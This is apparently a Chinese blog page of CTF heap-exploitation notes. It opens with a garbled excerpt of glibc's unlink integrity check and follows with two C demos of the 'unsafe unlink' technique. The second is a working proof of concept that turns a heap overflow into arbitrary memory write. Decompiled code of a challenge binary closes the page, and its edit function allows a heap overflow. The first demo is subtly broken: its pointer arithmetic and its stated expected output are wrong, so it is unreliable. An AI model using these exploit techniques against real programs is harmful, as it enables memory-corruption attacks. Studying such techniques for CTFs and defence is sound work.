超级玉米人の部屋

1
if (__builtin_expect(FD -> bk != P || BK -> fd != P, 0))
2
  malloc_printrtt (check_action, "corrupted double-linked list", P, AV);
3
  rn_go(f, seed, [])
4
}

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4

5
int main() {
6
  // 1. 分配两个 chunk
7
  unsigned long long *chunk0 = malloc(0x80);
8
  unsigned long long *chunk1 = malloc(0x80);
9
  printf("chunk0 = %p\n", chunk0);
10
  printf("chunk1 = %p\n", chunk1);
11
  // 2. 释放 chunk0 并伪造 fd/bk
12

13
  free(chunk0);
14
  // 假设存在 UAF，可以修改 chunk0 的 fd/bk
15
  // 这里我们模拟 UAF，直接写已释放的内存
16

17
  unsigned long long *ptr = chunk0; // 指向 chunk0 的指针
18
  // 64位：FD = ptr - 0x18, BK = ptr - 0x10
19
  chunk0[0] = (unsigned long long)(ptr - 0x18); // fd
20
  chunk0[1] = (unsigned long long)(ptr - 0x10); // bk
21

22
  // 3. 触发 unlink（释放相邻的 chunk1）
23
  free(chunk1);
24
  // 4. 验证 ptr 是否被修改
25
  printf("ptr now points to: %p\n", ptr);
26
  // 预期输出：ptr = chunk0 - 0x18
27
  return 0;
28
}
29
// gcc -g -no-pie -fno-stack-protector -o unsafe_unlink unsafe_unlink.c

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
#include <stdint.h>
5
#include <assert.h>
6

7
uint64_t *chunk0_ptr;
8

9
int main()
10
{
11
  setbuf(stdout, NULL);
12
  printf("Welcome to unsafe unlink 2.0!\n");
13
  printf("Tested in Ubuntu 20.04 64bit.\n");
14
  printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
15
  printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
16

17
  int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
18
  int header_size = 2;
19

20
  printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
21

22
  chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
23
  uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
24
  printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
25
  printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
26

27
  printf("We create a fake chunk inside chunk0.\n");
28
  printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
29
  chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
30
  printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
31
  chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
32
  printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
33
  printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
34
  chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
35
  printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
36
  printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
37

38
  printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
39
  uint64_t *chunk1_hdr = chunk1_ptr - header_size;
40
  printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
41
  printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
42
  chunk1_hdr[0] = malloc_size;
43
  printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
44
  printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
45
  chunk1_hdr[1] &= ~1;
46

47
  printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
48
  printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
49
  free(chunk1_ptr);
50

51
  printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
52
  char victim_string[8];
53
  strcpy(victim_string,"Hello!~");
54
  chunk0_ptr[3] = (uint64_t) victim_string;
55

56
  printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
57
  printf("Original value: %s\n",victim_string);
58
  chunk0_ptr[0] = 0x4141414142424242LL;
59
  printf("New Value: %s\n",victim_string);
60

61
  // sanity check
62
  assert(*(long *)victim_string == 0x4141414142424242L);
63
}

1
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
2
{
3
  int v3; // [rsp+2Ch] [rbp-4h]
4

5
  init();
6
  while ( 1 )
7
  {
8
    while ( 1 )
9
    {
10
      menu();
11
      read_0(nptr, 16);
12
      v3 = atoi(nptr);
13
      if ( v3 != 1 )
14
        break;
15
      add();
16
    }
17
    switch ( v3 )
18
    {
19
      case 3:
20
        delete();
21
        break;
22
      case 2:
23
        show();
24
        break;
25
      case 4:
26
        edit();
27
        break;
28
      case 5:
29
        exit(0);
30
      default:
31
        puts("Invalid choice!");
32
        break;
33
    }
34
  }
35
}
36

37
int add()
38
{
39
  int n49_1; // eax
40
  int size; // [rsp+Ch] [rbp-14h] BYREF
41
  int n49; // [rsp+10h] [rbp-10h] BYREF
42
  int n49_2; // [rsp+14h] [rbp-Ch]
43
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
44

45
  v4 = __readfsqword(0x28u);
46
  printf("Give me a book ID: ");
47
  __isoc99_scanf("%d", &n49);
48
  printf("how long: ");
49
  __isoc99_scanf("%d", &size);
50
  n49_1 = n49;
51
  if ( n49 >= 0 )
52
  {
53
    n49_1 = n49;
54
    if ( n49 <= 49 )
55
    {
56
      if ( size < 0 || *(&chunk + n49) )
57
      {
58
        return puts("too large!");
59
      }
60
      else
61
      {
62
        n49_2 = n49;
63
        *(&chunk + n49_2) = malloc(size);
64
        ::size[n49_2] = size;
65
        return puts("Done!\n");
66
      }
67
    }
68
  }
69
  return n49_1;
70
}
71
__int64 delete()
72
{
73
  signed int n0x32; // [rsp+0h] [rbp-10h] BYREF
74
  unsigned int v2; // [rsp+4h] [rbp-Ch]
75
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]
76

77
  v3 = __readfsqword(0x28u);
78
  n0x32 = 0;
79
  puts("Which one to throw?");
80
  __isoc99_scanf("%d", &n0x32);
81
  if ( (unsigned int)n0x32 <= 0x32 )
82
  {
83
    if ( *(&chunk + n0x32) )
84
    {
85
      free(*(&chunk + n0x32));
86
      *(&chunk + n0x32) = 0;
87
      return (unsigned int)puts("Done!\n");
88
    }
89
  }
90
  else
91
  {
92
    return (unsigned int)puts("Wrong!\n");
93
  }
94
  return v2;
95
}
96

97
int edit()
98
{
99
  int v1; // [rsp+0h] [rbp-10h] BYREF
100
  _DWORD n16[3]; // [rsp+4h] [rbp-Ch] BYREF
101

102
  *(_QWORD *)&n16[1] = __readfsqword(0x28u);
103
  printf("Which book to write?");
104
  __isoc99_scanf("%d", &v1);
105
  printf("how big?");
106
  __isoc99_scanf("%d", n16);
107
  if ( *(&chunk + v1) )
108
  {
109
    printf("Content: ");
110
    read_0(*(&chunk + v1), n16[0]);
111
  }
112
  return puts("Done!\n");
113
}